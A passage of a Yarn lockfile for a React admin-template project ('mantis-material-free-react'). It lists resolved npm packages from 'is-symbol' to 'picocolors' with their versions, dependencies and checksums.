10c0/2f518b4e47886bb81567faba6ffd0d8a8333cf84336e2e78bf160693972e32ad00fe84b0926491cc598dee576fdc55642c92e62d0cbe96bf36f643b6f956f94d + languageName: node + linkType: hard + +"is-symbol@npm:^1.0.4, is-symbol@npm:^1.1.1": + version: 1.1.1 + resolution: "is-symbol@npm:1.1.1" + dependencies: + call-bound: "npm:^1.0.2" + has-symbols: "npm:^1.1.0" + safe-regex-test: "npm:^1.1.0" + checksum: 10c0/f08f3e255c12442e833f75a9e2b84b2d4882fdfd920513cf2a4a2324f0a5b076c8fd913778e3ea5d258d5183e9d92c0cd20e04b03ab3df05316b049b2670af1e + languageName: node + linkType: hard + +"is-typed-array@npm:^1.1.13, is-typed-array@npm:^1.1.14, is-typed-array@npm:^1.1.15": + version: 1.1.15 + resolution: "is-typed-array@npm:1.1.15" + dependencies: + which-typed-array: "npm:^1.1.16" + checksum: 10c0/415511da3669e36e002820584e264997ffe277ff136643a3126cc949197e6ca3334d0f12d084e83b1994af2e9c8141275c741cf2b7da5a2ff62dd0cac26f76c4 + languageName: node + linkType: hard + +"is-weakmap@npm:^2.0.2": + version: 2.0.2 + resolution: "is-weakmap@npm:2.0.2" + checksum: 10c0/443c35bb86d5e6cc5929cd9c75a4024bb0fff9586ed50b092f94e700b89c43a33b186b76dbc6d54f3d3d09ece689ab38dcdc1af6a482cbe79c0f2da0a17f1299 + languageName: node + linkType: hard + +"is-weakref@npm:^1.0.2, is-weakref@npm:^1.1.1": + version: 1.1.1 + resolution: "is-weakref@npm:1.1.1" + dependencies: + call-bound: "npm:^1.0.3" + checksum: 10c0/8e0a9c07b0c780949a100e2cab2b5560a48ecd4c61726923c1a9b77b6ab0aa0046c9e7fb2206042296817045376dee2c8ab1dabe08c7c3dfbf195b01275a085b + languageName: node + linkType: hard + +"is-weakset@npm:^2.0.3": + version: 2.0.4 + resolution: "is-weakset@npm:2.0.4" + dependencies: + call-bound: "npm:^1.0.3" + get-intrinsic: "npm:^1.2.6" + checksum: 10c0/6491eba08acb8dc9532da23cb226b7d0192ede0b88f16199e592e4769db0a077119c1f5d2283d1e0d16d739115f70046e887e477eb0e66cd90e1bb29f28ba647 + languageName: node + linkType: hard + +"isarray@npm:^2.0.5": + version: 2.0.5 + resolution: "isarray@npm:2.0.5" + checksum: 10c0/4199f14a7a13da2177c66c31080008b7124331956f47bca57dd0b6ea9f11687aa25e565a2c7a2b519bc86988d10398e3049a1f5df13c9f6b7664154690ae79fd + languageName: node + linkType: hard + +"isexe@npm:^2.0.0": + version: 2.0.0 + resolution: "isexe@npm:2.0.0" + checksum: 10c0/228cfa503fadc2c31596ab06ed6aa82c9976eec2bfd83397e7eaf06d0ccf42cd1dfd6743bf9aeb01aebd4156d009994c5f76ea898d2832c1fe342da923ca457d + languageName: node + linkType: hard + +"isexe@npm:^4.0.0": + version: 4.0.0 + resolution: "isexe@npm:4.0.0" + checksum: 10c0/5884815115bceac452877659a9c7726382531592f43dc29e5d48b7c4100661aed54018cb90bd36cb2eaeba521092570769167acbb95c18d39afdccbcca06c5ce + languageName: node + linkType: hard + +"iterator.prototype@npm:^1.1.5": + version: 1.1.5 + resolution: "iterator.prototype@npm:1.1.5" + dependencies: + define-data-property: "npm:^1.1.4" + es-object-atoms: "npm:^1.0.0" + get-intrinsic: "npm:^1.2.6" + get-proto: "npm:^1.0.0" + has-symbols: "npm:^1.1.0" + set-function-name: "npm:^2.0.2" + checksum: 10c0/f7a262808e1b41049ab55f1e9c29af7ec1025a000d243b83edf34ce2416eedd56079b117fa59376bb4a724110690f13aa8427f2ee29a09eec63a7e72367626d0 + languageName: node + linkType: hard + +"js-tokens@npm:^3.0.0 || ^4.0.0, js-tokens@npm:^4.0.0": + version: 4.0.0 + resolution: "js-tokens@npm:4.0.0" + checksum: 10c0/e248708d377aa058eacf2037b07ded847790e6de892bbad3dac0abba2e759cb9f121b00099a65195616badcb6eca8d14d975cb3e89eb1cfda644756402c8aeed + languageName: node + linkType: hard + +"js-yaml@npm:^4.1.1": + version: 4.1.1 + resolution: "js-yaml@npm:4.1.1" + dependencies: + argparse: "npm:^2.0.1" + bin: + js-yaml: bin/js-yaml.js + checksum: 10c0/561c7d7088c40a9bb53cc75becbfb1df6ae49b34b5e6e5a81744b14ae8667ec564ad2527709d1a6e7d5e5fa6d483aa0f373a50ad98d42fde368ec4a190d4fae7 + languageName: node + linkType: hard + +"jsesc@npm:^3.0.2": + version: 3.1.0 + resolution: "jsesc@npm:3.1.0" + bin: + jsesc: bin/jsesc + checksum: 10c0/531779df5ec94f47e462da26b4cbf05eb88a83d9f08aac2ba04206508fc598527a153d08bd462bae82fc78b3eaa1a908e1a4a79f886e9238641c4cdefaf118b1 + languageName: node + linkType: hard + +"json-buffer@npm:3.0.1": + version: 3.0.1 + resolution: "json-buffer@npm:3.0.1" + checksum: 10c0/0d1c91569d9588e7eef2b49b59851f297f3ab93c7b35c7c221e288099322be6b562767d11e4821da500f3219542b9afd2e54c5dc573107c1126ed1080f8e96d7 + languageName: node + linkType: hard + +"json-parse-even-better-errors@npm:^2.3.0": + version: 2.3.1 + resolution: "json-parse-even-better-errors@npm:2.3.1" + checksum: 10c0/140932564c8f0b88455432e0f33c4cb4086b8868e37524e07e723f4eaedb9425bdc2bafd71bd1d9765bd15fd1e2d126972bc83990f55c467168c228c24d665f3 + languageName: node + linkType: hard + +"json-schema-traverse@npm:^0.4.1": + version: 0.4.1 + resolution: "json-schema-traverse@npm:0.4.1" + checksum: 10c0/108fa90d4cc6f08243aedc6da16c408daf81793bf903e9fd5ab21983cda433d5d2da49e40711da016289465ec2e62e0324dcdfbc06275a607fe3233fde4942ce + languageName: node + linkType: hard + +"json-stable-stringify-without-jsonify@npm:^1.0.1": + version: 1.0.1 + resolution: "json-stable-stringify-without-jsonify@npm:1.0.1" + checksum: 10c0/cb168b61fd4de83e58d09aaa6425ef71001bae30d260e2c57e7d09a5fd82223e2f22a042dedaab8db23b7d9ae46854b08bb1f91675a8be11c5cffebef5fb66a5 + languageName: node + linkType: hard + +"json5@npm:^1.0.2": + version: 1.0.2 + resolution: "json5@npm:1.0.2" + dependencies: + minimist: "npm:^1.2.0" + bin: + json5: lib/cli.js + checksum: 10c0/9ee316bf21f000b00752e6c2a3b79ecf5324515a5c60ee88983a1910a45426b643a4f3461657586e8aeca87aaf96f0a519b0516d2ae527a6c3e7eed80f68717f + languageName: node + linkType: hard + +"json5@npm:^2.2.3": + version: 2.2.3 + resolution: "json5@npm:2.2.3" + bin: + json5: lib/cli.js + checksum: 10c0/5a04eed94810fa55c5ea138b2f7a5c12b97c3750bc63d11e511dcecbfef758003861522a070c2272764ee0f4e3e323862f386945aeb5b85b87ee43f084ba586c + languageName: node + linkType: hard + +"jsx-ast-utils@npm:^2.4.1 || ^3.0.0, jsx-ast-utils@npm:^3.3.5": + version: 3.3.5 + resolution: "jsx-ast-utils@npm:3.3.5" + dependencies: + array-includes: "npm:^3.1.6" + array.prototype.flat: "npm:^1.3.1" + object.assign: "npm:^4.1.4" + object.values: "npm:^1.1.6" + checksum: 10c0/a32679e9cb55469cb6d8bbc863f7d631b2c98b7fc7bf172629261751a6e7bc8da6ae374ddb74d5fbd8b06cf0eb4572287b259813d92b36e384024ed35e4c13e1 + languageName: node + linkType: hard + +"keyv@npm:^4.5.4": + version: 4.5.4 + resolution: "keyv@npm:4.5.4" + dependencies: + json-buffer: "npm:3.0.1" + checksum: 10c0/aa52f3c5e18e16bb6324876bb8b59dd02acf782a4b789c7b2ae21107fab95fab3890ed448d4f8dba80ce05391eeac4bfabb4f02a20221342982f806fa2cf271e + languageName: node + linkType: hard + +"language-subtag-registry@npm:^0.3.20": + version: 0.3.23 + resolution: "language-subtag-registry@npm:0.3.23" + checksum: 10c0/e9b05190421d2cd36dd6c95c28673019c927947cb6d94f40ba7e77a838629ee9675c94accf897fbebb07923187deb843b8fbb8935762df6edafe6c28dcb0b86c + languageName: node + linkType: hard + +"language-tags@npm:^1.0.9": + version: 1.0.9 + resolution: "language-tags@npm:1.0.9" + dependencies: + language-subtag-registry: "npm:^0.3.20" + checksum: 10c0/9ab911213c4bd8bd583c850201c17794e52cb0660d1ab6e32558aadc8324abebf6844e46f92b80a5d600d0fbba7eface2c207bfaf270a1c7fd539e4c3a880bff + languageName: node + linkType: hard + +"levn@npm:^0.4.1": + version: 0.4.1 + resolution: "levn@npm:0.4.1" + dependencies: + prelude-ls: "npm:^1.2.1" + type-check: "npm:~0.4.0" + checksum: 10c0/effb03cad7c89dfa5bd4f6989364bfc79994c2042ec5966cb9b95990e2edee5cd8969ddf42616a0373ac49fac1403437deaf6e9050fbbaa3546093a59b9ac94e + languageName: node + linkType: hard + +"lines-and-columns@npm:^1.1.6": + version: 1.2.4 + resolution: "lines-and-columns@npm:1.2.4" + checksum: 10c0/3da6ee62d4cd9f03f5dc90b4df2540fb85b352081bee77fe4bbcd12c9000ead7f35e0a38b8d09a9bb99b13223446dd8689ff3c4959807620726d788701a83d2d + languageName: node + linkType: hard + +"locate-path@npm:^6.0.0": + version: 6.0.0 + resolution: "locate-path@npm:6.0.0" + dependencies: + p-locate: "npm:^5.0.0" + checksum: 10c0/d3972ab70dfe58ce620e64265f90162d247e87159b6126b01314dd67be43d50e96a50b517bce2d9452a79409c7614054c277b5232377de50416564a77ac7aad3 + languageName: node + linkType: hard + +"lodash-es@npm:4.17.23, lodash-es@npm:^4.17.21": + version: 4.17.23 + resolution: "lodash-es@npm:4.17.23" + checksum: 10c0/3150fb6660c14c7a6b5f23bd11597d884b140c0e862a17fdb415aaa5ef7741523182904a6b7929f04e5f60a11edb5a79499eb448734381c99ffb3c4734beeddd + languageName: node + linkType: hard + +"lodash@npm:^4.17.21": + version: 4.17.23 + resolution: "lodash@npm:4.17.23" + checksum: 10c0/1264a90469f5bb95d4739c43eb6277d15b6d9e186df4ac68c3620443160fc669e2f14c11e7d8b2ccf078b81d06147c01a8ccced9aab9f9f63d50dcf8cace6bf6 + languageName: node + linkType: hard + +"loose-envify@npm:^1.4.0": + version: 1.4.0 + resolution: "loose-envify@npm:1.4.0" + dependencies: + js-tokens: "npm:^3.0.0 || ^4.0.0" + bin: + loose-envify: cli.js + checksum: 10c0/655d110220983c1a4b9c0c679a2e8016d4b67f6e9c7b5435ff5979ecdb20d0813f4dec0a08674fcbdd4846a3f07edbb50a36811fd37930b94aaa0d9daceb017e + languageName: node + linkType: hard + +"lru-cache@npm:^11.0.0, lru-cache@npm:^11.1.0, lru-cache@npm:^11.2.1": + version: 11.2.6 + resolution: "lru-cache@npm:11.2.6" + checksum: 10c0/73bbffb298760e71b2bfe8ebc16a311c6a60ceddbba919cfedfd8635c2d125fbfb5a39b71818200e67973b11f8d59c5a9e31d6f90722e340e90393663a66e5cd + languageName: node + linkType: hard + +"lru-cache@npm:^5.1.1": + version: 5.1.1 + resolution: "lru-cache@npm:5.1.1" + dependencies: + yallist: "npm:^3.0.2" + checksum: 10c0/89b2ef2ef45f543011e38737b8a8622a2f8998cddf0e5437174ef8f1f70a8b9d14a918ab3e232cb3ba343b7abddffa667f0b59075b2b80e6b4d63c3de6127482 + languageName: node + linkType: hard + +"make-fetch-happen@npm:^15.0.0": + version: 15.0.3 + resolution: "make-fetch-happen@npm:15.0.3" + dependencies: + "@npmcli/agent": "npm:^4.0.0" + cacache: "npm:^20.0.1" + http-cache-semantics: "npm:^4.1.1" + minipass: "npm:^7.0.2" + minipass-fetch: "npm:^5.0.0" + minipass-flush: "npm:^1.0.5" + minipass-pipeline: "npm:^1.2.4" + negotiator: "npm:^1.0.0" + proc-log: "npm:^6.0.0" + promise-retry: "npm:^2.0.1" + ssri: "npm:^13.0.0" + checksum: 10c0/525f74915660be60b616bcbd267c4a5b59481b073ba125e45c9c3a041bb1a47a2bd0ae79d028eb6f5f95bf9851a4158423f5068539c3093621abb64027e8e461 + languageName: node + linkType: hard + +"mantis-material-free-react@workspace:.": + version: 0.0.0-use.local + resolution: "mantis-material-free-react@workspace:." + dependencies: + "@ant-design/colors": "npm:8.0.1" + "@ant-design/icons": "npm:6.1.0" + "@emotion/cache": "npm:11.14.0" + "@emotion/react": "npm:11.14.0" + "@emotion/styled": "npm:11.14.1" + "@eslint/compat": "npm:2.0.2" + "@eslint/eslintrc": "npm:3.3.3" + "@eslint/js": "npm:10.0.1" + "@fontsource/public-sans": "npm:5.2.7" + "@mui/lab": "npm:9.0.0-beta.2" + "@mui/material": "npm:9.0.0" + "@mui/system": "npm:9.0.0" + "@mui/x-charts": "npm:8.27.0" + "@vitejs/plugin-react": "npm:5.1.4" + eslint: "npm:10.0.0" + eslint-config-prettier: "npm:10.1.8" + eslint-plugin-jsx-a11y: "npm:6.10.2" + eslint-plugin-prettier: "npm:5.5.5" + eslint-plugin-react: "npm:7.37.5" + eslint-plugin-react-hooks: "npm:7.0.1" + formik: "npm:2.4.9" + framer-motion: "npm:12.34.2" + lodash-es: "npm:4.17.23" + prettier: "npm:3.8.1" + react: "npm:19.2.4" + react-device-detect: "npm:2.2.3" + react-dom: "npm:19.2.4" + react-number-format: "npm:5.4.4" + react-router: "npm:7.13.0" + react-router-dom: "npm:7.13.0" + simplebar-react: "npm:3.3.2" + swr: "npm:2.4.0" + vite: "npm:7.3.1" + vite-jsconfig-paths: "npm:2.0.1" + web-vitals: "npm:5.1.0" + yup: "npm:1.7.1" + languageName: unknown + linkType: soft + +"math-intrinsics@npm:^1.1.0": + version: 1.1.0 + resolution: "math-intrinsics@npm:1.1.0" + checksum: 10c0/7579ff94e899e2f76ab64491d76cf606274c874d8f2af4a442c016bd85688927fcfca157ba6bf74b08e9439dc010b248ce05b96cc7c126a354c3bae7fcb48b7f + languageName: node + linkType: hard + +"minimatch@npm:^10.1.1, minimatch@npm:^10.2.1, minimatch@npm:^10.2.2": + version: 10.2.2 + resolution: "minimatch@npm:10.2.2" + dependencies: + brace-expansion: "npm:^5.0.2" + checksum: 10c0/098831f2f542cb802e1f249c809008a016e1fef6b3a9eda9cf9ecb2b3d7979083951bd47c0c82fcf34330bd3b36638a493d4fa8e24cce58caf5b481de0f4e238 + languageName: node + linkType: hard + +"minimatch@npm:^3.1.2": + version: 3.1.3 + resolution: "minimatch@npm:3.1.3" + dependencies: + brace-expansion: "npm:^1.1.7" + checksum: 10c0/c1ffce4be47e88df013f66f55176c25a93fdd8ad15735309cf1782f0433a02f363cee298f8763ceaaaf85e70ff7f30dc84a1a8d00a6fb6ca72032e5b51f9b89c + languageName: node + linkType: hard + +"minimist@npm:^1.2.0, minimist@npm:^1.2.6": + version: 1.2.8 + resolution: "minimist@npm:1.2.8" + checksum: 10c0/19d3fcdca050087b84c2029841a093691a91259a47def2f18222f41e7645a0b7c44ef4b40e88a1e58a40c84d2ef0ee6047c55594d298146d0eb3f6b737c20ce6 + languageName: node + linkType: hard + +"minipass-collect@npm:^2.0.1": + version: 2.0.1 + resolution: "minipass-collect@npm:2.0.1" + dependencies: + minipass: "npm:^7.0.3" + checksum: 10c0/5167e73f62bb74cc5019594709c77e6a742051a647fe9499abf03c71dca75515b7959d67a764bdc4f8b361cf897fbf25e2d9869ee039203ed45240f48b9aa06e + languageName: node + linkType: hard + +"minipass-fetch@npm:^5.0.0": + version: 5.0.1 + resolution: "minipass-fetch@npm:5.0.1" + dependencies: + encoding: "npm:^0.1.13" + minipass: "npm:^7.0.3" + minipass-sized: "npm:^2.0.0" + minizlib: "npm:^3.0.1" + dependenciesMeta: + encoding: + optional: true + checksum: 10c0/50bcf48c9841ebb25e29a2817468595219c72cfffc7c175a1d7327843c8bef9b72cb01778f46df7eca695dfe47ab98e6167af4cb026ddd80f660842919a5193c + languageName: node + linkType: hard + +"minipass-flush@npm:^1.0.5": + version: 1.0.5 + resolution: "minipass-flush@npm:1.0.5" + dependencies: + minipass: "npm:^3.0.0" + checksum: 10c0/2a51b63feb799d2bb34669205eee7c0eaf9dce01883261a5b77410c9408aa447e478efd191b4de6fc1101e796ff5892f8443ef20d9544385819093dbb32d36bd + languageName: node + linkType: hard + +"minipass-pipeline@npm:^1.2.4": + version: 1.2.4 + resolution: "minipass-pipeline@npm:1.2.4" + dependencies: + minipass: "npm:^3.0.0" + checksum: 10c0/cbda57cea20b140b797505dc2cac71581a70b3247b84480c1fed5ca5ba46c25ecc25f68bfc9e6dcb1a6e9017dab5c7ada5eab73ad4f0a49d84e35093e0c643f2 + languageName: node + linkType: hard + +"minipass-sized@npm:^2.0.0": + version: 2.0.0 + resolution: "minipass-sized@npm:2.0.0" + dependencies: + minipass: "npm:^7.1.2" + checksum: 10c0/f9201696a6f6d68610d04c9c83e3d2e5cb9c026aae1c8cbf7e17f386105cb79c1bb088dbc21bf0b1eb4f3fb5df384fd1e7aa3bf1f33868c416ae8c8a92679db8 + languageName: node + linkType: hard + +"minipass@npm:^3.0.0": + version: 3.3.6 + resolution: "minipass@npm:3.3.6" + dependencies: + yallist: "npm:^4.0.0" + checksum: 10c0/a114746943afa1dbbca8249e706d1d38b85ed1298b530f5808ce51f8e9e941962e2a5ad2e00eae7dd21d8a4aae6586a66d4216d1a259385e9d0358f0c1eba16c + languageName: node + linkType: hard + +"minipass@npm:^7.0.2, minipass@npm:^7.0.3, minipass@npm:^7.0.4, minipass@npm:^7.1.2, minipass@npm:^7.1.3": + version: 7.1.3 + resolution: "minipass@npm:7.1.3" + checksum: 10c0/539da88daca16533211ea5a9ee98dc62ff5742f531f54640dd34429e621955e91cc280a91a776026264b7f9f6735947629f920944e9c1558369e8bf22eb33fbb + languageName: node + linkType: hard + +"minizlib@npm:^3.0.1, minizlib@npm:^3.1.0": + version: 3.1.0 + resolution: "minizlib@npm:3.1.0" + dependencies: + minipass: "npm:^7.1.2" + checksum: 10c0/5aad75ab0090b8266069c9aabe582c021ae53eb33c6c691054a13a45db3b4f91a7fb1bd79151e6b4e9e9a86727b522527c0a06ec7d45206b745d54cd3097bcec + languageName: node + linkType: hard + +"motion-dom@npm:^12.34.2": + version: 12.34.3 + resolution: "motion-dom@npm:12.34.3" + dependencies: + motion-utils: "npm:^12.29.2" + checksum: 10c0/9a336be96dbb24a2ea3cafe401043553bc326274d118b86d6414e505cd394f26c071cd420d2e71c2cf19e76abc89bfdac4a7c5c1b3842eca56b11d6b8687dfdc + languageName: node + linkType: hard + +"motion-utils@npm:^12.29.2": + version: 12.29.2 + resolution: "motion-utils@npm:12.29.2" + checksum: 10c0/8058fbb3467602e8263a8a6df0e5d318d00d30d7148415d2ebc13c78a3c7a1b0cbec0808bb62e82c34714979ecbed15b9fffb91bde654dbf3602c84b7d66a5b6 + languageName: node + linkType: hard + +"ms@npm:^2.1.3": + version: 2.1.3 + resolution: "ms@npm:2.1.3" + checksum: 10c0/d924b57e7312b3b63ad21fc5b3dc0af5e78d61a1fc7cfb5457edaf26326bf62be5307cc87ffb6862ef1c2b33b0233cdb5d4f01c4c958cc0d660948b65a287a48 + languageName: node + linkType: hard + +"mz@npm:^2.7.0": + version: 2.7.0 + resolution: "mz@npm:2.7.0" + dependencies: + any-promise: "npm:^1.0.0" + object-assign: "npm:^4.0.1" + thenify-all: "npm:^1.0.0" + checksum: 10c0/103114e93f87362f0b56ab5b2e7245051ad0276b646e3902c98397d18bb8f4a77f2ea4a2c9d3ad516034ea3a56553b60d3f5f78220001ca4c404bd711bd0af39 + languageName: node + linkType: hard + +"nanoid@npm:^3.3.11": + version: 3.3.11 + resolution: "nanoid@npm:3.3.11" + bin: + nanoid: bin/nanoid.cjs + checksum: 10c0/40e7f70b3d15f725ca072dfc4f74e81fcf1fbb02e491cf58ac0c79093adc9b0a73b152bcde57df4b79cd097e13023d7504acb38404a4da7bc1cd8e887b82fe0b + languageName: node + linkType: hard + +"natural-compare@npm:^1.4.0": + version: 1.4.0 + resolution: "natural-compare@npm:1.4.0" + checksum: 10c0/f5f9a7974bfb28a91afafa254b197f0f22c684d4a1731763dda960d2c8e375b36c7d690e0d9dc8fba774c537af14a7e979129bca23d88d052fbeb9466955e447 + languageName: node + linkType: hard + +"negotiator@npm:^1.0.0": + version: 1.0.0 + resolution: "negotiator@npm:1.0.0" + checksum: 10c0/4c559dd52669ea48e1914f9d634227c561221dd54734070791f999c52ed0ff36e437b2e07d5c1f6e32909fc625fe46491c16e4a8f0572567d4dd15c3a4fda04b + languageName: node + linkType: hard + +"node-exports-info@npm:^1.6.0": + version: 1.6.0 + resolution: "node-exports-info@npm:1.6.0" + dependencies: + array.prototype.flatmap: "npm:^1.3.3" + es-errors: "npm:^1.3.0" + object.entries: "npm:^1.1.9" + semver: "npm:^6.3.1" + checksum: 10c0/3613f21c60b047e66f168d3499a6be0060d89fb01ddceaa7032c2fb318aff12e4b9b111449c1a9aeb3b848bfdc1d4b6bc8fab327af692319597d21a1e7063692 + languageName: node + linkType: hard + +"node-gyp@npm:latest": + version: 12.2.0 + resolution: "node-gyp@npm:12.2.0" + dependencies: + env-paths: "npm:^2.2.0" + exponential-backoff: "npm:^3.1.1" + graceful-fs: "npm:^4.2.6" + make-fetch-happen: "npm:^15.0.0" + nopt: "npm:^9.0.0" + proc-log: "npm:^6.0.0" + semver: "npm:^7.3.5" + tar: "npm:^7.5.4" + tinyglobby: "npm:^0.2.12" + which: "npm:^6.0.0" + bin: + node-gyp: bin/node-gyp.js + checksum: 10c0/3ed046746a5a7d90950cd8b0547332b06598443f31fe213ef4332a7174c7b7d259e1704835feda79b87d3f02e59d7791842aac60642ede4396ab25fdf0f8f759 + languageName: node + linkType: hard + +"node-releases@npm:^2.0.27": + version: 2.0.27 + resolution: "node-releases@npm:2.0.27" + checksum: 10c0/f1e6583b7833ea81880627748d28a3a7ff5703d5409328c216ae57befbced10ce2c991bea86434e8ec39003bd017f70481e2e5f8c1f7e0a7663241f81d6e00e2 + languageName: node + linkType: hard + +"nopt@npm:^9.0.0": + version: 9.0.0 + resolution: "nopt@npm:9.0.0" + dependencies: + abbrev: "npm:^4.0.0" + bin: + nopt: bin/nopt.js + checksum: 10c0/1822eb6f9b020ef6f7a7516d7b64a8036e09666ea55ac40416c36e4b2b343122c3cff0e2f085675f53de1d2db99a2a89a60ccea1d120bcd6a5347bf6ceb4a7fd + languageName: node + linkType: hard + +"object-assign@npm:^4.0.1, object-assign@npm:^4.1.1": + version: 4.1.1 + resolution: "object-assign@npm:4.1.1" + checksum: 10c0/1f4df9945120325d041ccf7b86f31e8bcc14e73d29171e37a7903050e96b81323784ec59f93f102ec635bcf6fa8034ba3ea0a8c7e69fa202b87ae3b6cec5a414 + languageName: node + linkType: hard + +"object-inspect@npm:^1.13.3, object-inspect@npm:^1.13.4": + version: 1.13.4 + resolution: "object-inspect@npm:1.13.4" + checksum: 10c0/d7f8711e803b96ea3191c745d6f8056ce1f2496e530e6a19a0e92d89b0fa3c76d910c31f0aa270432db6bd3b2f85500a376a83aaba849a8d518c8845b3211692 + languageName: node + linkType: hard + +"object-keys@npm:^1.1.1": + version: 1.1.1 + resolution: "object-keys@npm:1.1.1" + checksum: 10c0/b11f7ccdbc6d406d1f186cdadb9d54738e347b2692a14439ca5ac70c225fa6db46db809711b78589866d47b25fc3e8dee0b4c722ac751e11180f9380e3d8601d + languageName: node + linkType: hard + +"object.assign@npm:^4.1.4, object.assign@npm:^4.1.7": + version: 4.1.7 + resolution: "object.assign@npm:4.1.7" + dependencies: + call-bind: "npm:^1.0.8" + call-bound: "npm:^1.0.3" + define-properties: "npm:^1.2.1" + es-object-atoms: "npm:^1.0.0" + has-symbols: "npm:^1.1.0" + object-keys: "npm:^1.1.1" + checksum: 10c0/3b2732bd860567ea2579d1567525168de925a8d852638612846bd8082b3a1602b7b89b67b09913cbb5b9bd6e95923b2ae73580baa9d99cb4e990564e8cbf5ddc + languageName: node + linkType: hard + +"object.entries@npm:^1.1.9": + version: 1.1.9 + resolution: "object.entries@npm:1.1.9" + dependencies: + call-bind: "npm:^1.0.8" + call-bound: "npm:^1.0.4" + define-properties: "npm:^1.2.1" + es-object-atoms: "npm:^1.1.1" + checksum: 10c0/d4b8c1e586650407da03370845f029aa14076caca4e4d4afadbc69cfb5b78035fd3ee7be417141abdb0258fa142e59b11923b4c44d8b1255b28f5ffcc50da7db + languageName: node + linkType: hard + +"object.fromentries@npm:^2.0.8": + version: 2.0.8 + resolution: "object.fromentries@npm:2.0.8" + dependencies: + call-bind: "npm:^1.0.7" + define-properties: "npm:^1.2.1" + es-abstract: "npm:^1.23.2" + es-object-atoms: "npm:^1.0.0" + checksum: 10c0/cd4327e6c3369cfa805deb4cbbe919bfb7d3aeebf0bcaba291bb568ea7169f8f8cdbcabe2f00b40db0c20cd20f08e11b5f3a5a36fb7dd3fe04850c50db3bf83b + languageName: node + linkType: hard + +"object.values@npm:^1.1.6, object.values@npm:^1.2.1": + version: 1.2.1 + resolution: "object.values@npm:1.2.1" + dependencies: + call-bind: "npm:^1.0.8" + call-bound: "npm:^1.0.3" + define-properties: "npm:^1.2.1" + es-object-atoms: "npm:^1.0.0" + checksum: 10c0/3c47814fdc64842ae3d5a74bc9d06bdd8d21563c04d9939bf6716a9c00596a4ebc342552f8934013d1ec991c74e3671b26710a0c51815f0b603795605ab6b2c9 + languageName: node + linkType: hard + +"optionator@npm:^0.9.3": + version: 0.9.4 + resolution: "optionator@npm:0.9.4" + dependencies: + deep-is: "npm:^0.1.3" + fast-levenshtein: "npm:^2.0.6" + levn: "npm:^0.4.1" + prelude-ls: "npm:^1.2.1" + type-check: "npm:^0.4.0" + word-wrap: "npm:^1.2.5" + checksum: 10c0/4afb687a059ee65b61df74dfe87d8d6815cd6883cb8b3d5883a910df72d0f5d029821f37025e4bccf4048873dbdb09acc6d303d27b8f76b1a80dd5a7d5334675 + languageName: node + linkType: hard + +"own-keys@npm:^1.0.1": + version: 1.0.1 + resolution: "own-keys@npm:1.0.1" + dependencies: + get-intrinsic: "npm:^1.2.6" + object-keys: "npm:^1.1.1" + safe-push-apply: "npm:^1.0.0" + checksum: 10c0/6dfeb3455bff92ec3f16a982d4e3e65676345f6902d9f5ded1d8265a6318d0200ce461956d6d1c70053c7fe9f9fe65e552faac03f8140d37ef0fdd108e67013a + languageName: node + linkType: hard + +"p-limit@npm:^3.0.2": + version: 3.1.0 + resolution: "p-limit@npm:3.1.0" + dependencies: + yocto-queue: "npm:^0.1.0" + checksum: 10c0/9db675949dbdc9c3763c89e748d0ef8bdad0afbb24d49ceaf4c46c02c77d30db4e0652ed36d0a0a7a95154335fab810d95c86153105bb73b3a90448e2bb14e1a + languageName: node + linkType: hard + +"p-locate@npm:^5.0.0": + version: 5.0.0 + resolution: "p-locate@npm:5.0.0" + dependencies: + p-limit: "npm:^3.0.2" + checksum: 10c0/2290d627ab7903b8b70d11d384fee714b797f6040d9278932754a6860845c4d3190603a0772a663c8cb5a7b21d1b16acb3a6487ebcafa9773094edc3dfe6009a + languageName: node + linkType: hard + +"p-map@npm:^7.0.2": + version: 7.0.4 + resolution: "p-map@npm:7.0.4" + checksum: 10c0/a5030935d3cb2919d7e89454d1ce82141e6f9955413658b8c9403cfe379283770ed3048146b44cde168aa9e8c716505f196d5689db0ae3ce9a71521a2fef3abd + languageName: node + linkType: hard + +"parent-module@npm:^1.0.0": + version: 1.0.1 + resolution: "parent-module@npm:1.0.1" + dependencies: + callsites: "npm:^3.0.0" + checksum: 10c0/c63d6e80000d4babd11978e0d3fee386ca7752a02b035fd2435960ffaa7219dc42146f07069fb65e6e8bf1caef89daf9af7535a39bddf354d78bf50d8294f556 + languageName: node + linkType: hard + +"parse-json@npm:^5.0.0": + version: 5.2.0 + resolution: "parse-json@npm:5.2.0" + dependencies: + "@babel/code-frame": "npm:^7.0.0" + error-ex: "npm:^1.3.1" + json-parse-even-better-errors: "npm:^2.3.0" + lines-and-columns: "npm:^1.1.6" + checksum: 10c0/77947f2253005be7a12d858aedbafa09c9ae39eb4863adf330f7b416ca4f4a08132e453e08de2db46459256fb66afaac5ee758b44fe6541b7cdaf9d252e59585 + languageName: node + linkType: hard + +"path-exists@npm:^4.0.0": + version: 4.0.0 + resolution: "path-exists@npm:4.0.0" + checksum: 10c0/8c0bd3f5238188197dc78dced15207a4716c51cc4e3624c44fc97acf69558f5ebb9a2afff486fe1b4ee148e0c133e96c5e11a9aa5c48a3006e3467da070e5e1b + languageName: node + linkType: hard + +"path-key@npm:^3.1.0": + version: 3.1.1 + resolution: "path-key@npm:3.1.1" + checksum: 10c0/748c43efd5a569c039d7a00a03b58eecd1d75f3999f5a28303d75f521288df4823bc057d8784eb72358b2895a05f29a070bc9f1f17d28226cc4e62494cc58c4c + languageName: node + linkType: hard + +"path-parse@npm:^1.0.7": + version: 1.0.7 + resolution: "path-parse@npm:1.0.7" + checksum: 10c0/11ce261f9d294cc7a58d6a574b7f1b935842355ec66fba3c3fd79e0f036462eaf07d0aa95bb74ff432f9afef97ce1926c720988c6a7451d8a584930ae7de86e1 + languageName: node + linkType: hard + +"path-scurry@npm:^2.0.2": + version: 2.0.2 + resolution: "path-scurry@npm:2.0.2" + dependencies: + lru-cache: "npm:^11.0.0" + minipass: "npm:^7.1.2" + checksum: 10c0/b35ad37cf6557a87fd057121ce2be7695380c9138d93e87ae928609da259ea0a170fac6f3ef1eb3ece8a068e8b7f2f3adf5bb2374cf4d4a57fe484954fcc9482 + languageName: node + linkType: hard + +"path-type@npm:^4.0.0": + version: 4.0.0 + resolution: "path-type@npm:4.0.0" + checksum: 10c0/666f6973f332f27581371efaf303fd6c272cc43c2057b37aa99e3643158c7e4b2626549555d88626e99ea9e046f82f32e41bbde5f1508547e9a11b149b52387c + languageName: node + linkType: hard + +"picocolors@npm:^1.1.1": + version: 1.1.1 + resolution: "picocolors@npm:1.1.1" + checksum: 